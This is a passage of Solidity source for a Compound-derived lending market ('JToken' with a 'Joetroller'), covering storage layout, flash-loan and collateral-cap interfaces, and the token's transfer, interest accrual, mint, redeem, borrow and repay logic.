* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / sec)
*/
uint256 internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint256 internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-jToken operations
*/
JoetrollerInterface public joetroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first JTokens (used when totalSupply = 0)
*/
uint256 internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint256 public reserveFactorMantissa;
/**
* @notice Block timestamp that interest was last accrued at
*/
uint256 public accrualBlockTimestamp;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint256 public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint256 public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint256 public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint256 public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping(address => uint256) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping(address => mapping(address => uint256)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint256 principal;
uint256 interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
contract JErc20Storage {
/**
* @notice Underlying asset for this JToken
*/
address public underlying;
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract JSupplyCapStorage {
/**
* @notice Internal cash counter for this JToken. Should equal underlying.balanceOf(address(this)) for CERC20.
*/
uint256 public internalCash;
}
contract JCollateralCapStorage {
/**
* @notice Total number of tokens used as collateral in circulation.
*/
uint256 public totalCollateralTokens;
/**
* @notice Record of token balances which could be treated as collateral for each account.
* If collateral cap is not set, the value should be equal to accountTokens.
*/
mapping(address => uint256) public accountCollateralTokens;
/**
* @notice Check if accountCollateralTokens have been initialized.
*/
mapping(address => bool) public isCollateralTokenInit;
/**
* @notice Collateral cap for this JToken, zero for no cap.
*/
uint256 public collateralCap;
}
/*** Interface ***/
contract JTokenInterface is JTokenStorage {
/**
* @notice Indicator that this is a JToken contract (for inspection)
*/
bool public constant isJToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(
address payer,
address borrower,
uint256 repayAmount,
uint256 accountBorrows,
uint256 totalBorrows
);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(
address liquidator,
address borrower,
uint256 repayAmount,
address jTokenCollateral,
uint256 seizeTokens
);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when joetroller is changed
*/
event NewJoetroller(JoetrollerInterface oldJoetroller, JoetrollerInterface newJoetroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint256 amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Failure event
*/
event Failure(uint256 error, uint256 info, uint256 detail);
/*** User Interface ***/
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function borrowRatePerSecond() external view returns (uint256);
function supplyRatePerSecond() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) public view returns (uint256);
function exchangeRateCurrent() public returns (uint256);
function exchangeRateStored() public view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() public returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256);
function _acceptAdmin() external returns (uint256);
function _setJoetroller(JoetrollerInterface newJoetroller) public returns (uint256);
function _setReserveFactor(uint256 newReserveFactorMantissa) external returns (uint256);
function _reduceReserves(uint256 reduceAmount) external returns (uint256);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256);
}
contract JErc20Interface is JErc20Storage {
/*** User Interface ***/
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral
) external returns (uint256);
function _addReserves(uint256 addAmount) external returns (uint256);
}
contract JWrappedNativeInterface is JErc20Interface {
/**
* @notice Flash loan fee ratio
*/
uint256 public constant flashFeeBips = 3;
/*** Market Events ***/
/**
* @notice Event emitted when a flashloan occured
*/
event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee);
/*** User Interface ***/
function mintNative() external payable returns (uint256);
function redeemNative(uint256 redeemTokens) external returns (uint256);
function redeemUnderlyingNative(uint256 redeemAmount) external returns (uint256);
function borrowNative(uint256 borrowAmount) external returns (uint256);
function repayBorrowNative() external payable returns (uint256);
function repayBorrowBehalfNative(address borrower) external payable returns (uint256);
function liquidateBorrowNative(address borrower, JTokenInterface jTokenCollateral)
external
payable
returns (uint256);
function flashLoan(
ERC3156FlashBorrowerInterface receiver,
address initiator,
uint256 amount,
bytes calldata data
) external returns (bool);
function _addReservesNative() external payable returns (uint256);
}
contract JCapableErc20Interface is JErc20Interface, JSupplyCapStorage {
/**
* @notice Flash loan fee ratio
*/
uint256 public constant flashFeeBips = 3;
/*** Market Events ***/
/**
* @notice Event emitted when a flashloan occured
*/
event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee);
/*** User Interface ***/
function gulp() external;
}
contract JCollateralCapErc20Interface is JCapableErc20Interface, JCollateralCapStorage {
/*** Admin Events ***/
/**
* @notice Event emitted when collateral cap is set
*/
event NewCollateralCap(address token, uint256 newCap);
/**
* @notice Event emitted when user collateral is changed
*/
event UserCollateralChanged(address account, uint256 newCollateralTokens);
/*** User Interface ***/
function registerCollateral(address account) external returns (uint256);
function unregisterCollateral(address account) external;
function flashLoan(
ERC3156FlashBorrowerInterface receiver,
address initiator,
uint256 amount,
bytes calldata data
) external returns (bool);
/*** Admin Functions ***/
function _setCollateralCap(uint256 newCollateralCap) external;
}
contract JDelegatorInterface {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(
address implementation_,
bool allowResign,
bytes memory becomeImplementationData
) public;
}
contract JDelegateInterface {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
/*** External interface ***/
/**
* @title Flash loan receiver interface
*/
interface IFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/**
* @title Compound's JToken Contract
* @notice Abstract base for JTokens
* @author Compound
*/
contract JToken is JTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param joetroller_ The address of the Joetroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(
JoetrollerInterface joetroller_,
InterestRateModel interestRateModel_,
uint256 initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_
) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockTimestamp == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the joetroller
uint256 err = _setJoetroller(joetroller_);
require(err == uint256(Error.NO_ERROR), "setting joetroller failed");
// Initialize block timestamp and borrow index (block timestamp mocks depend on joetroller being set)
accrualBlockTimestamp = getBlockTimestamp();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block timestamp / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint256(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint256(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 amount
) external nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint256(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint256) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
return mul_ScalarTruncate(exchangeRate, accountTokens[owner]);
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by joetroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
uint256 jTokenBalance = getJTokenBalanceInternal(account);
uint256 borrowBalance = borrowBalanceStoredInternal(account);
uint256 exchangeRateMantissa = exchangeRateStoredInternal();
return (uint256(Error.NO_ERROR), jTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block timestamp
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockTimestamp() internal view returns (uint256) {
return block.timestamp;
}
/**
* @notice Returns the current per-sec borrow interest rate for this jToken
* @return The borrow interest rate per sec, scaled by 1e18
*/
function borrowRatePerSecond() external view returns (uint256) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-sec supply interest rate for this jToken
* @return The supply interest rate per sec, scaled by 1e18
*/
function supplyRatePerSecond() external view returns (uint256) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the estimated per-sec borrow interest rate for this jToken after some change
* @return The borrow interest rate per sec, scaled by 1e18
*/
function estimateBorrowRatePerSecondAfterChange(uint256 change, bool repay) external view returns (uint256) {
uint256 cashPriorNew;
uint256 totalBorrowsNew;
if (repay) {
cashPriorNew = add_(getCashPrior(), change);
totalBorrowsNew = sub_(totalBorrows, change);
} else {
cashPriorNew = sub_(getCashPrior(), change);
totalBorrowsNew = add_(totalBorrows, change);
}
return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves);
}
/**
* @notice Returns the estimated per-sec supply interest rate for this jToken after some change
* @return The supply interest rate per sec, scaled by 1e18
*/
function estimateSupplyRatePerSecondAfterChange(uint256 change, bool repay) external view returns (uint256) {
uint256 cashPriorNew;
uint256 totalBorrowsNew;
if (repay) {
cashPriorNew = add_(getCashPrior(), change);
totalBorrowsNew = sub_(totalBorrows, change);
} else {
cashPriorNew = sub_(getCashPrior(), change);
totalBorrowsNew = add_(totalBorrows, change);
}
return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public view returns (uint256) {
return borrowBalanceStoredInternal(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return the calculated balance or 0 if error code is non-zero
*/
function borrowBalanceStoredInternal(address account) internal view returns (uint256) {
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return 0;
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
uint256 principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex);
uint256 result = div_(principalTimesIndex, borrowSnapshot.interestIndex);
return result;
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public nonReentrant returns (uint256) {
require(accrueInterest() == uint256(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the JToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint256) {
return exchangeRateStoredInternal();
}
/**
* @notice Calculates the exchange rate from the underlying to the JToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return calculated exchange rate scaled by 1e18
*/
function exchangeRateStoredInternal() internal view returns (uint256) {
uint256 _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return initialExchangeRateMantissa;
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint256 totalCash = getCashPrior();
uint256 cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves);
uint256 exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply}));
return exchangeRate;
}
}
/**
* @notice Get cash balance of this jToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint256) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed timestamp
* up to the current timestamp and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint256) {
/* Remember the initial block timestamp */
uint256 currentBlockTimestamp = getBlockTimestamp();
uint256 accrualBlockTimestampPrior = accrualBlockTimestamp;
/* Short-circuit accumulating 0 interest */
if (accrualBlockTimestampPrior == currentBlockTimestamp) {
return uint256(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint256 cashPrior = getCashPrior();
uint256 borrowsPrior = totalBorrows;
uint256 reservesPrior = totalReserves;
uint256 borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint256 borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of seconds elapsed since the last accrual */
uint256 timestampDelta = sub_(currentBlockTimestamp, accrualBlockTimestampPrior);
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * timestampDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), timestampDelta);
uint256 interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior);
uint256 totalBorrowsNew = add_(interestAccumulated, borrowsPrior);
uint256 totalReservesNew = mul_ScalarTruncateAddUInt(
Exp({mantissa: reserveFactorMantissa}),
interestAccumulated,
reservesPrior
);
uint256 borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockTimestamp = currentBlockTimestamp;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives jTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint256 mintAmount, bool isNative) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount, isNative);
}
/**
* @notice Sender redeems jTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of jTokens to redeem into underlying
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint256 redeemTokens, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0, isNative);
}
/**
* @notice Sender redeems jTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming jTokens
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint256 redeemAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount, isNative);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint256 borrowAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount, isNative);
}
struct BorrowLocalVars {
MathError mathErr;
uint256 accountBorrows;
uint256 accountBorrowsNew;
uint256 totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(
address payable borrower,
uint256 borrowAmount,
bool isNative
) internal returns (uint256) {
/* Fail if borrow not allowed */
uint256 allowed = joetroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.BORROW_JOETROLLER_REJECTION, allowed);
}
/*
* Return if borrowAmount is zero.
* Put behind `borrowAllowed` for accuring potential JOE rewards.
*/
if (borrowAmount == 0) {
accountBorrows[borrower].interestIndex = borrowIndex;
return uint256(Error.NO_ERROR);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
vars.accountBorrows = borrowBalanceStoredInternal(borrower);
vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount);
vars.totalBorrowsNew = add_(totalBorrows, borrowAmount);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount, isNative);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// joetroller.borrowVerify(address(this), borrower, borrowAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint256 repayAmount, bool isNative) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(
address borrower,
uint256 repayAmount,
bool isNative
) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount, isNative);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint256 repayAmount;
uint256 borrowerIndex;
uint256 accountBorrows;
uint256 accountBorrowsNew;
uint256 totalBorrowsNew;
uint256 actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(
address payer,
address borrower,
uint256 repayAmount,
bool isNative
) internal returns (uint256, uint256) {
/* Fail if repayBorrow not allowed */
uint256 allowed = joetroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.REPAY_BORROW_JOETROLLER_REJECTION, allowed), 0);
}
/*
* Return if repayAmount is zero.
* Put behind `repayBorrowAllowed` for accuring potential JOE rewards.
*/
if (repayAmount == 0) {
accountBorrows[borrower].interestIndex = borrowIndex;
return (uint256(Error.NO_ERROR), 0);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
